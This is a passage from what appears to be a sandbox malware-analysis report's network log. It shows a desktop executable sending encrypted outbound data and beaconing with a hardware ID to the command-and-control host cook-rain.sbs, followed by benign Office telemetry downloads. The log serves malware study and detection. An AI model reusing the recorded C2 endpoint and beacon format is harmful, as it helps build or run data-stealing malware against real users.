2024-11-20 05:40:14 UTC	15331	OUT	Data Raw: f8 c9 de bc 3c a9 b8 03 7b fa b1 65 c1 2c 31 ba 87 0e de f4 6d 0c af 99 a6 00 7c 7e cb 17 fc c9 72 67 bd 81 29 9b 5a cc d5 f5 07 e1 b3 52 fd 4d 52 2b ef a6 9a e5 c6 be 19 90 94 66 70 5f 0a 35 14 e1 2d a1 c5 0f bd 16 9a ff d4 f6 8f 61 ac 31 32 56 35 39 08 83 2c 9f 93 99 84 f4 40 48 72 6b 4e db 35 3e 51 74 bf a1 f1 03 e3 f7 21 93 51 64 e5 bb 0e b6 50 9e 01 42 5d e1 ab 51 cb 90 2f 31 3e 21 68 6e b5 70 d5 bd 04 9a 72 2e 78 62 f9 a7 3e f3 7a 43 d3 0c ba 06 9f eb 09 dd 51 ff 81 ef 8b 3d a6 54 8c 4b 0b 0f 28 b1 f7 10 14 08 96 c2 6f 5e 9d b4 4e 14 a0 2c 4d aa 7d 4f 0a 8b ba b0 15 1d 7c 22 72 3f dd eb 4f 99 b2 b6 36 17 54 e8 0a 8e 0c ae 28 32 fa 6e db 23 c1 71 24 f9 30 ce 3f 11 72 77 00 b5 e4 66 08 0e e2 8e 49 8c 52 fc d9 1b 4a 80 76 04 05 fb b8 85 bf f3 1b af 7c Data Ascii: <{e,1m\|~rg)ZRMR+fp_5-a12V59,@HrkN5>Qt!QdPB]Q/1>!hnpr.xb>zCQ=TK(o^N,M}O\|"r?O6T(2n#q$0?rwfIRJv\|
2024-11-20 05:40:14 UTC	15331	OUT	Data Raw: c2 f2 13 c1 1b 6d 6e 0a 01 69 65 38 70 af 84 0a b0 c2 12 a8 da 7c c3 74 5c 5a 2a f1 44 98 f3 9e a7 c2 ad 59 1a de d9 b1 75 4f d3 63 ea 28 03 92 de 5e 5c 15 25 a1 ab c7 c9 89 a8 b7 92 85 81 e8 4f c3 94 b8 e8 38 0a 6e 77 1b ea f6 2d 51 9f 50 3e 31 8f 14 19 87 08 37 9b 13 58 61 88 ef 2f e3 82 cb c2 8d 28 ff c4 39 c4 8b 00 25 e5 52 fe 85 da 8e 60 84 be e0 6c 6d 06 43 62 6b 55 df 78 46 e9 f7 68 95 f1 58 6d 85 f2 54 6f 82 0a 3e 3b 2e 02 53 ba ed d6 46 ac 67 56 b2 33 06 b3 be 15 a4 9a 2a cc 2d 0a 1e 69 89 64 b9 2f fc c6 09 1f 89 b4 b4 9b c8 a9 68 d3 8e 5b e3 34 b1 dc 0b 9a 66 f8 e6 9a c7 8d af dc 0e 0f 6d ae 1f 59 f7 35 a5 05 88 b6 c9 a5 46 dc ee 5d d5 22 7f f5 25 b6 19 76 84 cb 32 cf d5 e4 21 da 71 13 92 99 d2 3e 82 d5 a7 da b2 d0 5d 21 f1 33 0e 00 43 48 f8 28 Data Ascii: mnie8p\|t\ZDYuOc(^\%O8nw-QP>17Xa/(9%R`lmCbkUxFhXmTo>;.SFgV3-id/h[4fmY5F]"%v2!q>]!3CH(
2024-11-20 05:40:14 UTC	15331	OUT	Data Raw: ee 44 b9 fa cd 83 b7 04 18 3a 72 67 7f f8 7d 49 33 fe ef 9d ad 10 43 2f 3a a8 ef f9 1c ff 8f 10 42 07 98 53 47 7e 46 61 ab 00 0f ce e1 ed 30 80 77 e7 90 c7 d2 9d c9 d9 ff f7 ec f0 53 a0 eb 0c d2 82 61 e4 a6 01 bd 3b fd 2a b0 76 c7 37 b4 f3 81 f8 59 ef 0e 9d be 48 b7 62 b1 97 af d2 03 5a 2c d0 e4 7f 60 0f e1 38 09 78 8f 4b 58 a9 2a 90 3a 2f ca e8 fc f3 84 ce d8 3e 0c 3b 12 6c 8a 71 7e a7 6d 9a f0 80 87 0f 65 1a a9 93 eb 87 23 a8 ff fd f1 9b 52 38 ff 4f 4e 84 18 df cd 24 33 d8 21 10 08 92 19 bf 02 55 19 65 a5 f4 a4 1b a4 0a d4 f4 45 ea 37 01 46 ba 84 38 1a 4e 7e 1c 47 e0 44 97 88 ad fc b6 0a 3f ea d1 c7 fb 15 e7 48 6d dc d5 8c df d3 ac bc 52 a7 95 a5 98 38 92 e4 92 8e 0e ef 33 3d 58 89 66 67 e3 d7 56 1c d7 84 05 76 0b e6 17 90 f5 b0 e2 1d 3f c7 c0 91 66 8a Data Ascii: D:rg}I3C/:BSG~Fa0wSa;v7YHbZ,`8xKX:/>;lq~me#R8ON$3!UeE7F8N~GD?HmR83=XfgVv?f
2024-11-20 05:40:14 UTC	15331	OUT	Data Raw: 15 83 a8 ef ce 81 9c ee 2e b5 a1 f4 40 b6 5f 1a cb 6a cd e4 ec 25 72 d5 a6 df 9a 3e 1e 3f 71 9c f3 ee fc 1c 9f 14 fe 00 9e 8e e0 55 16 ce f5 6d 78 73 d8 8d 34 24 27 f1 b1 1b e2 4d 93 99 46 1f 14 ea aa 17 47 3a 2b 02 25 7f 9f 51 66 28 88 bc 02 74 3c c7 4f 3b 33 3a ac 43 c3 03 42 5e 72 4c 08 e2 78 03 25 26 b6 f8 06 19 45 0e c5 b1 84 fd 76 c6 11 c8 8f 1d 97 b7 3b 46 4c 2a 30 90 15 da b7 e7 1c cb fd d4 09 2f 31 1d b1 ed 9f cb 27 35 31 f7 e5 42 ef fc 3b 9d e4 3e 33 43 4a 5b 93 dc 4c f4 c6 ef 03 e7 3e 38 35 19 77 1e 04 2f 0f 27 79 f2 71 96 fa 60 6d ed d3 88 56 c4 35 85 60 c3 b4 2f ca fd dd 10 a2 c5 39 75 7c 50 31 f4 f2 bf b7 a0 0a 0b 9f 8b 0b 59 67 5d 02 71 a5 10 83 00 7f 0d c4 58 42 20 75 8e 51 68 93 79 41 42 d7 e8 07 94 59 fb 61 66 73 14 45 de fa d8 fe 78 a6 Data Ascii: .@_j%r>?qUmxs4$'MFG:+%Qf(t<O;3:CB^rLx%&Ev;FL*0/1'51B;>3CJ[L>85w/'yq`mV5`/9u\|P1Yg]qXB uQhyABYafsEx
2024-11-20 05:40:14 UTC	15331	OUT	Data Raw: 18 27 e5 85 90 39 5f 7f e0 59 ee cf b9 47 a4 08 80 69 5b 6f a9 03 a9 6e 02 29 d4 a1 8d 26 34 3c cc 09 71 3b 9b bf ce 99 ad 4e 28 35 62 77 4b a1 5e 69 b0 da b1 13 3d b0 a2 55 0f bc 66 f8 fb 0a 09 47 00 0b ac e5 3f 04 d6 17 f8 35 f9 c1 11 44 21 05 e8 b4 2d f0 e7 64 d4 92 b4 39 31 ac 8c 0a ae 18 a8 7a e7 ed b3 32 f4 59 6d 6b 9e 3d f6 9f b7 02 47 18 38 87 9d c1 82 58 5e a0 b9 d0 c2 e4 2f fe 73 1c 87 e2 79 a1 65 f7 39 66 c8 fe ab 90 6e 8d 74 ca b4 a0 4a 54 44 6f f6 66 84 bc 2a 42 9a 59 df 7c 92 1c 31 65 2e f8 ae 42 d3 64 40 c7 a3 24 f2 10 79 cd b3 43 6f fe 43 c1 01 13 bf df 38 23 3d ac 04 50 c1 46 99 02 f8 8a b5 3a 1a 8a c5 80 ad a7 d2 3a 2a 20 97 e0 6b a7 09 7d a4 c1 ad 97 21 86 a5 dc 4e 9c 08 83 99 e2 5d b7 67 5e 8c a7 6e 46 c3 27 41 32 41 dd 87 27 33 82 1c Data Ascii: '9_YGi[on)&4<q;N(5bwK^i=UfG?5D!-d91z2Ymk=G8X^/sye9fntJTDofBY\|1e.Bd@$yCoC8#=PF:: k}!N]g^nF'A2A'3
2024-11-20 05:40:14 UTC	15331	OUT	Data Raw: 7a 22 bc 62 3f 9a 97 b3 69 81 1a b6 27 21 42 6d 66 c5 5a d7 cf 9c 23 2a 3c 23 e7 e3 8e 6d b7 78 ac 95 27 f0 67 b4 cb 54 15 ba fc df 3e 34 23 46 c3 72 fc 57 71 5a b5 84 8c 3f 7c 7e a7 6b 01 5b 55 02 d5 85 7b 12 a8 f5 e3 84 4d e6 d1 a8 f7 e2 5a e3 e0 5b ea 89 b4 10 89 4c e5 09 84 1d 93 62 1f fe 87 2f 4f 91 45 42 b0 4f 9e 2b fb dd 1f dc 7c 2f bf 66 d6 4e 9b a7 cf 4d ab 2c c1 88 1d 86 7b 3d f9 4e 52 c4 d1 49 2d 14 ed de 56 9b d8 68 d8 6f f4 4d bd e6 78 6f 76 76 5b 09 64 ed 20 c2 4f e1 df 90 c0 5f 75 88 fd 33 48 94 82 f1 88 b7 2d 6d 87 70 6a 0a 27 2f 35 bc 33 46 75 95 15 dd 53 c8 49 d4 1c e7 b8 be 4c c2 5b dd 23 cd 1a fa 61 af 9f 93 a1 25 7a 27 c0 6d a5 2c 81 a9 ce a9 02 7f d4 de 32 d7 41 9b 16 93 3c f3 76 03 84 24 78 1b 9c b8 8c bc b8 ef 45 61 22 8c 27 59 b9 Data Ascii: z"b?i'!BmfZ#*<#mx'gT>4#FrWqZ?\|~k[U{MZ[Lb/OEBO+\|/fNM,{=NRI-VhoMxovv[d O_u3H-mpj'/53FuSIL[#a%z'm,2A<v$xEa"'Y
2024-11-20 05:40:14 UTC	15331	OUT	Data Raw: e3 1c df d8 55 0f 89 a0 d7 48 1a ff 3e d1 3f 26 db 06 e5 41 9e 46 b0 c6 5b 63 f5 59 25 42 09 12 fe 85 ac 7f 71 3d a9 5a 09 8d 6d 76 6f 17 2b df 7b ce 21 bd 12 e3 1b 48 20 13 1a ca b4 28 d8 4b 37 08 03 31 da 86 78 a1 86 11 e3 10 df 0e f7 8b 0f b1 97 ea 0c e4 f1 c5 a8 2b e9 84 bb 87 cd 5a bc 2f 3d 20 64 3a f9 b1 7f d3 2d b3 6b 80 5f 14 55 fb df 93 f1 e2 e0 90 e4 a3 dd 7e 83 c2 c5 c0 dd f1 ad 22 98 95 43 4c 90 f2 03 38 be e8 53 5f d4 69 a7 8f 93 be d2 9c 35 45 e9 4b 8d d1 4d 48 d4 40 5a 31 28 1c e2 43 04 28 42 ad 3d fd 16 e1 86 d6 ab 2d 96 52 e7 74 f1 ed 11 b4 00 ef 42 09 f0 14 26 be bb 20 4c ca 7d 84 5d 0c 5a eb 3f 12 63 e8 0f 76 a6 44 fa 9e 37 61 14 be 4b 5d b2 da 39 28 5f 74 b8 01 41 7a 82 86 a5 10 62 32 6f 4f 68 fd 94 f2 38 af bf 0a d9 b0 3e 62 02 33 9c Data Ascii: UH>?&AF[cY%Bq=Zmvo+{!H (K71x+Z/= d:-k_U~"CL8S_i5EKMH@Z1(C(B=-RtB& L}]Z?cvD7aK]9(_tAzb2oOh8>b3
2024-11-20 05:40:14 UTC	15331	OUT	Data Raw: 1d b7 28 c3 2f b1 ca f3 dd fd 30 af ef d9 3e ab 0b c8 60 25 2a 4c 7b 90 1f 44 33 55 ee d4 d2 82 99 8f 70 f8 49 95 76 fb 85 6a 54 59 3d 6b 31 98 9f 87 c4 43 48 f6 1e 05 61 86 b5 7e ee 0b a2 1f ea b7 ca d0 0f ef e1 4c 8a 38 9e da 69 ed 2d 70 91 23 9b 8d 27 e2 15 06 58 63 41 05 5e 66 31 71 d1 b7 2a ac bb 54 07 5b e1 df 2b e2 fb 62 37 c4 6e 76 b3 54 79 83 2a d5 a2 bf 37 99 71 9b f3 1f 5a 8f 0d 3f 74 8f 0a 71 22 d4 ef ef 1f 51 5a 65 2a 87 27 84 a8 85 0c 95 45 21 e8 bb d3 e3 c3 40 59 18 df 0b 78 4d 7a 8e 9f f6 60 79 fd d7 30 6c fe db bb bc 0b e0 26 52 7f 1e 17 02 c7 de db 9b 11 9f 17 23 dd 9b 3e 54 18 fe ae 89 17 28 f8 96 cd 98 38 5c 30 ca 0d 9f 3c a0 47 9d 1c f3 38 fe a4 96 0c f4 c4 a6 01 c2 fd 52 41 19 54 50 51 8d a5 47 21 0b a0 85 cc e4 2e 80 d2 ee c7 d7 eb Data Ascii: (/0>`%L{D3UpIvjTY=k1CHa~L8i-p#'XcA^f1qT[+b7nvTy7qZ?tq"QZe'E!@YxMz`y0l&R#>T(8\0<G8RATPQG!.
2024-11-20 05:40:14 UTC	15331	OUT	Data Raw: d0 29 3c 8a 51 a7 30 2e 84 c0 4b b0 c5 f5 25 88 12 cc 27 c7 d2 f0 29 3e 2e 0e e2 b2 57 9b 0a 33 f4 e2 43 f8 0f 71 31 28 59 48 7d 41 ac 48 d6 38 62 2e 85 97 50 f9 69 12 ff a6 45 b2 de 28 88 d0 2a 0d ef 7d b8 e6 9a 60 2a 05 7a 4d 2a 50 1a 21 0e b2 11 84 de 9b 7b 58 c9 ad 3f 3e a5 5a 18 1f 58 9f 7a 94 84 d7 10 6e 7f 87 07 c6 49 9b e7 27 f8 ef 93 3f f2 6c 40 f5 81 16 81 f7 85 3a a1 de f3 8a 97 be c6 45 d2 6d 99 0b 11 ee 03 13 a6 7a 9f 83 69 9a e8 1a 23 e3 2e 5d 10 3a ff 73 3a c3 68 20 ea 93 36 c7 75 bc 65 dd a6 65 b3 83 6f 34 a6 55 10 e1 d3 43 fa 81 0b bc 7f cd f8 f5 16 a2 b1 09 fd b1 84 cd a2 ca 89 7a f7 81 64 de 8c 38 eb 57 4f 72 e5 9b c1 cd e7 95 eb 03 36 e5 b4 9b ac 5f 73 0a 05 b4 45 56 10 f7 9c 28 44 5b 1c 22 04 90 32 c3 3e 54 6e 16 8c b9 fa 30 42 b8 43 Data Ascii: )<Q0.K%')>.W3Cq1(YH}AH8b.PiE(}`zM*P!{X?>ZXznI'?l@:Emzi#.]:s:h 6ueeo4UCzd8WOr6_sEV(D["2>Tn0BC
2024-11-20 05:40:17 UTC	988	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3gdfd8h3j535rinpnccsst44u7; expires=Sat, 15-Mar-2025 23:26:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7WRNVXY15FHvVue4SD9k4tyHgospOy8BDSrGVp0VoX6oiNKIr2w5lcK1iFdTXeixdCLqcLi6BbeHKWcsPTirntmYraQ%2BAsH%2FnFMVO42kJrdUtU4d1Cxwhxwof%2FFrOvPY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e561aa94d694376-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1584&sent=192&recv=570&lost=0&retrans=0&sent_bytes=2829&recv_bytes=553697&delivery_rate=1759036&cwnd=247&unsent_bytes=0&cid=aa722158546a0c90&ts=2904&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	188.114.97.3	443	6500	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:18 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-20 05:40:18 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 46 43 32 31 41 38 33 39 35 44 34 44 44 32 38 36 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=FC21A8395D4DD28663CFCF7E6C45F838
2024-11-20 05:40:18 UTC	978	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b3bulvutqqpqh6d1ue6ngg5pj8; expires=Sat, 15-Mar-2025 23:26:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e14ZzWw%2Ff5XY9R5FZzTWRzR4957ip04AyNigbk8cX%2BsfJnH9JZ2sk2hb530bJaZ1XrFO04mDO5JwZPBz2BRO0Be2PhvQeDwueh823DKJStCw58IqSgy5pVUlq28qrpUy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e561abe7e07426a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=985&delivery_rate=1806930&cwnd=223&unsent_bytes=0&cid=589954c03ea6e48c&ts=441&x=0"
2024-11-20 05:40:18 UTC	214	IN	Data Raw: 64 30 0d 0a 6e 74 4b 72 38 68 69 39 2b 32 4b 66 6d 59 68 49 4a 6a 53 48 64 31 63 36 31 4c 2b 2f 35 56 67 66 64 76 2f 34 54 74 6e 52 78 36 66 46 71 59 6d 48 4f 6f 66 5a 43 75 76 74 2b 48 4a 36 47 39 74 59 5a 67 4c 68 6b 59 33 55 62 54 46 48 7a 73 74 67 36 4f 65 62 69 50 47 30 7a 61 34 33 32 5a 34 45 73 66 7a 77 4c 51 51 59 70 52 45 6a 47 4f 36 50 6b 38 63 39 50 55 7a 4f 68 57 4b 69 38 37 4b 46 70 50 44 44 68 6d 7a 4e 77 54 36 77 78 61 64 35 48 67 47 70 52 57 59 50 2b 6f 36 4f 31 6e 59 75 51 4b 50 58 50 61 32 30 70 73 72 43 2f 64 6d 54 64 74 6d 55 44 37 48 38 38 43 30 45 47 4b 55 52 49 78 6a 75 6a 35 50 48 50 54 31 4d 7a 6f 55 54 0d 0a Data Ascii: d0ntKr8hi9+2KfmYhIJjSHd1c61L+/5Vgfdv/4TtnRx6fFqYmHOofZCuvt+HJ6G9tYZgLhkY3UbTFHzstg6OebiPG0za432Z4EsfzwLQQYpREjGO6Pk8c9PUzOhWKi87KFpPDDhmzNwT6wxad5HgGpRWYP+o6O1nYuQKPXPa20psrC/dmTdtmUD7H88C0EGKURIxjuj5PHPT1MzoUT
2024-11-20 05:40:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:19 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:19 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054019Z-185f5d8b95cdcwrthC1NYCy5b800000009w00000000019d0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:19 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 05:40:19 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-20 05:40:19 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-20 05:40:19 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-20 05:40:19 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-20 05:40:19 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-20 05:40:19 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 